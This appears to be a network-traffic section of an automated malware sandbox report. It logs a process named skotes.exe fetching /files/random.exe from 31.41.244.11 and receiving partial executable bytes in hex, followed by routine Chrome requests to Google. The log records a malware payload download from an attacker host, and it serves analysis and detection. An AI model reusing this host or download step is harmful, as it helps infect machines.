Nov 25, 2024 12:10:17.589649916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	61180	31.41.244.11	80	8676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:10:17.720611095 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 12:10:19.151627064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:10:18 GMT Content-Type: application/octet-stream Content-Length: 4425728 Last-Modified: Mon, 25 Nov 2024 09:38:20 GMT Connection: keep-alive ETag: "6744458c-438800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 11 c9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a3 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@C@ _qs px'@.rsrc p'@.idata q'@ 8q'@vbnvzqtd'@ugjoxxzabC@.taggant0"fC@
Nov 25, 2024 12:10:19.151640892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:10:19.151654959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:10:19.151762962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:10:19.151774883 CET	896	IN	Data Raw: 69 58 e5 f7 b3 e9 ec f2 06 b7 ad 84 4a 44 fa ac 7e ae fa 8b 5e ef ed 71 ba 12 6d 73 23 61 d5 10 53 70 33 78 1d 20 de 17 08 ac 37 7c 42 58 ff ce 50 61 9c bf b2 ef 49 cd 24 4c 2e 8c 31 4c f6 2c bd 56 a5 48 86 c6 9b 36 cd 08 fc 8e 2a ee 59 66 2f 4f Data Ascii: iXJD~^qms#aSp3x 7\|BXPaI$L.1L,VH6*Yf/Ocmup"/.[lSZcF>pr~=!8-"!6!;.q~(QNeDC?n:9,;^r~NIR\|KW3Ku
Nov 25, 2024 12:10:19.151788950 CET	1236	IN	Data Raw: 73 09 05 49 e4 1e c3 cc be 61 2e 4b c3 19 2a d4 67 98 7d 4e ff c5 7b 93 ee 1c 11 18 ef c9 cd c8 2c 9c 00 51 24 cb ef fd 33 cc b9 0e 8a d7 1f 6d 11 47 1b 34 c4 68 53 3e 42 ff 6d 2c ae 4c 8f 6a 86 a6 e0 02 89 d9 75 06 08 c7 3d c7 52 79 9b 23 06 38 Data Ascii: sIa.Kg}N{,Q$3mG4hS>Bm,Lju=Ry#8"=+gsKH;5X.+\}d?gdR-8=HRc(GP]iwp/ucp.V3JE0>u_]W5-/02wv7(o\6O
Nov 25, 2024 12:10:19.151799917 CET	224	IN	Data Raw: 0d 4c 69 71 d9 ab 9d 71 63 38 e7 e3 2e bd d6 97 71 28 d3 4e e4 0c af 42 6d 55 12 1d 6b 37 da 97 2e 11 04 31 65 67 50 87 39 d0 c2 cc 02 3c dd 44 78 3e 1a 87 59 4f 32 59 06 3c 12 10 20 2f 3a f9 1b e0 58 91 24 77 16 b0 2e 8c 3a 55 40 11 ad 52 79 c2 Data Ascii: Liqqc8.q(NBmUk7.1egP9<Dx>YO2Y< /:X$w.:U@Ry)lw:i';8XZ4U);jeM+iQ.5$;s$rKwEbI,x"=uzy`dgUriz4+,E
Nov 25, 2024 12:10:19.151812077 CET	1236	IN	Data Raw: 12 76 cf 44 0c e6 0c 8d b3 bb ca 88 3f 6b 60 a3 3e c4 f3 0d ba 84 6b 19 cf 56 a1 10 7a a1 73 e3 c4 60 23 fe 41 e1 7f 64 a9 6c c5 30 30 6b ca 25 03 ed bf d4 28 6f f4 c6 65 6e 77 f2 92 c3 7d 88 c5 d4 de f0 0e d7 a2 16 2f 41 9f 32 f4 a5 08 14 8d b6 Data Ascii: vD?k`>kVzs`#Adl00k%(oenw}/A21mjq{ggo!$m*lf8D$'DPDa):4S%KF:Y$ign;Ju>iA)9J7dyKgBO,1Xl4ke\|r
Nov 25, 2024 12:10:19.151823044 CET	1236	IN	Data Raw: 06 e3 92 d2 ec 2f 78 9d 0d 20 60 9d 80 dc c1 13 13 78 23 b3 4e 68 e9 9c 65 3b ec 31 09 97 1f a9 1d c2 94 1a af 7c f7 0d 5b da a2 09 86 6a 0d 8b 46 60 69 a3 2d 28 b4 4f cb b3 85 7c 27 0a fe 05 4d ef df 8f e8 4f ea 2a 2a 6a 2a b6 8c 8d c3 5f 88 32 Data Ascii: /x `x#Nhe;1\|[jF`i-(O\|'MO*j_2Jtq>~jqVA0Wew^b`{^lt38vrI\|mV+@yi%;v7E@mS[2)C+'oq\|D3lV3-\|G:N9G 4
Nov 25, 2024 12:10:19.151834965 CET	1236	IN	Data Raw: ca dc 0d 2c bd 66 7a c4 0e ed fe e4 02 84 53 71 08 54 7d 05 6b 41 5c 06 31 b7 f1 06 79 9b 17 54 41 2a 6c 04 cf fb e2 d9 f7 67 5d 7d 63 98 6c 5b c7 68 7e b6 bd 7b b9 6e 73 1a 58 c4 fe 4e 58 27 15 7e 43 31 d2 e7 aa a3 63 87 90 49 a8 d5 39 6e 09 1b Data Ascii: ,fzSqT}kA\1yTAlg]}cl[h~{nsXNX'~C1cI9nrC9"g3G\PD"IWegt>]d ;r`gf$/^aT8_8m*QlfR?L2S.5e{>62Y\<} >{d=}&
Nov 25, 2024 12:10:19.271744013 CET	1236	IN	Data Raw: 1d a9 0b 7a 8f 14 8e b8 fa ab 68 c8 40 d0 19 2d 1c cd 59 03 af ed cb 68 cf cb 03 5b b7 25 c0 2c 34 48 1d 12 ae f2 eb 17 94 61 28 91 72 57 1f 9a 23 06 7f 68 2d c4 b1 93 3a 4b 37 8f dd 2e a9 dc b6 cf 07 1c 33 37 75 c6 6f 9c 8b 13 37 f3 ac 08 cf b2 Data Ascii: zh@-Yh[%,4Ha(rW#h-:K7.37uo7:,Lj6PvtW05bdDBj^;9aft6pnP:<u!Li&T)&i-#,u)3/]~)6:s5,dvu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	172.217.21.36	443	7192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:29 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:08:29 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:29 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-A8YI5kH3Hi9UgZJMHWjecg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 11:08:29 UTC	124	IN	Data Raw: 64 38 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 65 73 6c 65 79 20 62 72 79 61 6e 20 70 67 61 20 74 6f 75 72 20 63 61 72 64 22 2c 22 77 61 6c 6d 61 72 74 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 20 61 64 22 2c 22 77 61 74 63 68 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 73 65 61 73 6f 6e 20 35 20 65 70 69 73 6f 64 65 20 31 31 22 2c 22 64 69 73 6e 65 79 20 Data Ascii: d80)]}'["",["wesley bryan pga tour card","walmart black friday deals ad","watch yellowstone season 5 episode 11","disney
2024-11-25 11:08:29 UTC	1390	IN	Data Raw: 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6a 61 63 6b 70 6f 74 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 2c 22 73 65 63 20 66 69 6e 65 73 20 6f 6b 6c 61 68 6f 6d 61 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 22 2c 22 70 72 6f 64 75 63 74 20 72 65 63 61 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d Data Ascii: dreamlight valley","powerball jackpot lottery numbers","sec fines oklahoma football","nyt connections hints november","product recall"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbm
2024-11-25 11:08:29 UTC	1390	IN	Data Raw: 46 4a 55 59 6d 52 32 57 45 52 4f 55 31 5a 56 4d 55 6c 44 63 31 4a 48 61 32 30 31 51 6b 68 59 52 33 52 6d 55 47 78 56 4d 57 4a 7a 57 54 42 43 63 30 49 31 5a 56 46 34 61 57 70 5a 62 45 68 50 64 33 4d 31 53 6d 5a 33 53 47 46 6f 61 47 68 78 4e 6d 31 72 56 33 46 6f 56 31 68 57 65 56 70 53 4e 32 68 43 4e 6d 59 79 53 6a 4d 34 64 57 68 34 4e 6b 56 35 57 45 35 68 56 45 39 4c 52 6d 46 74 61 6d 49 7a 5a 57 70 4a 5a 47 31 52 4b 31 4a 48 53 32 45 30 57 6e 6f 78 53 58 56 46 59 57 70 4c 53 32 70 4c 4e 6d 52 78 63 57 56 53 56 45 4e 35 51 57 30 30 4e 30 55 76 54 58 56 33 52 6e 52 30 4b 32 35 58 4e 32 70 33 5a 47 35 53 65 57 70 4f 4e 47 35 61 4e 31 55 77 65 45 56 6a 4e 45 6f 79 63 32 56 71 5a 6c 45 33 4b 32 77 34 53 6e 5a 76 5a 48 4e 48 4f 48 68 79 4e 43 74 34 65 57 5a 43 Data Ascii: FJUYmR2WEROU1ZVMUlDc1JHa201QkhYR3RmUGxVMWJzWTBCc0I1ZVF4aWpZbEhPd3M1SmZ3SGFoaGhxNm1rV3FoV1hWeVpSN2hCNmYySjM4dWh4NkV5WE5hVE9LRmFtamIzZWpJZG1RK1JHS2E0WnoxSXVFYWpLS2pLNmRxcWVSVEN5QW00N0UvTXV3RnR0K25XN2p3ZG5SeWpONG5aN1UweEVjNEoyc2VqZlE3K2w4SnZvZHNHOHhyNCt4eWZC
2024-11-25 11:08:29 UTC	559	IN	Data Raw: 69 51 30 56 7a 65 6c 52 55 55 31 52 54 63 31 64 72 61 32 4e 31 4e 30 67 35 56 45 55 7a 53 69 73 72 53 6a 52 4d 63 32 31 6f 64 57 49 31 62 6b 35 74 61 33 52 50 4f 44 41 77 4f 47 35 4b 63 47 39 76 61 48 70 75 54 45 68 56 63 55 46 4e 55 6e 56 6c 63 6b 46 75 4e 44 64 59 64 30 4a 71 56 6e 68 71 54 6c 46 33 59 56 64 46 55 43 38 76 57 6a 6f 59 52 47 6c 7a 62 6d 56 35 49 45 52 79 5a 57 46 74 62 47 6c 6e 61 48 51 67 56 6d 46 73 62 47 56 35 53 67 63 6a 4e 47 59 30 4d 57 45 7a 55 6b 74 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 56 6c 41 78 65 6d 4d 77 54 45 78 52 63 31 4e 55 52 54 4e 4d 56 45 31 36 57 56 42 54 55 31 4e 4e 61 33 4e 36 61 33 56 30 56 6b 56 6e 63 46 4e 72 4d 30 31 36 59 32 78 4e 65 6e 6c 6f 55 6b 74 46 64 6b 31 35 56 57 31 30 51 6b 46 42 54 47 Data Ascii: iQ0VzelRUU1RTc1dra2N1N0g5VEUzSisrSjRMc21odWI1bk5ta3RPODAwOG5KcG9vaHpuTEhVcUFNUnVlckFuNDdYd0JqVnhqTlF3YVdFUC8vWjoYRGlzbmV5IERyZWFtbGlnaHQgVmFsbGV5SgcjNGY0MWEzUktnc19zc3A9ZUp6ajR0VlAxemMwTExRc1NURTNMVE16WVBTU1NNa3N6a3V0VkVncFNrM016Y2xNenloUktFdk15VW10QkFBTG
2024-11-25 11:08:29 UTC	71	IN	Data Raw: 34 31 0d 0a 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 41UERY","QUERY","QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY"]}]
2024-11-25 11:08:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	172.217.21.36	443	7192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:29 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:08:30 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 11:08:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 11:08:30 UTC	372	IN	Data Raw: 33 33 62 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 33b7)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 34 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700324,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 